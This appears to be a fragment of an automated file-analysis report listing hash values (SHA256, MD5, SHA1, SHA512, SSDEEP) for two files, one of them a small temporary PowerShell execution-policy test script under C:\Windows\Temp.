- SHA256 5fe211041b58d0588133f7d7dde18867cfc77dd1d87c5af1222edc91ac882665
- MD5 457c53a8c4076f6ad84b3df50eeaed40
- SHA1 04c1b0f70c1a4574474df56d5b2ef233ddcbe9eb
- SHA512 5bd2edb9faf83eed8456da6e3d2d948fe7dbbda821309a6465d330345fc3fd2c84e158fdff10f143a43e86b1d88a60ccc3ed70185652a14140e8498754b42253
- SSDEEP 49152:qLVfUh2tObNV72FN/J0PX6slSlrt1Vi4Nt1P9BCwB+RsEHU/nqBC:WVw2sbNVO/2PK7/1YYt1zGqEHU/oC
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Temp\__PSScriptPolicyTest_xa5pjkeb.znk.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512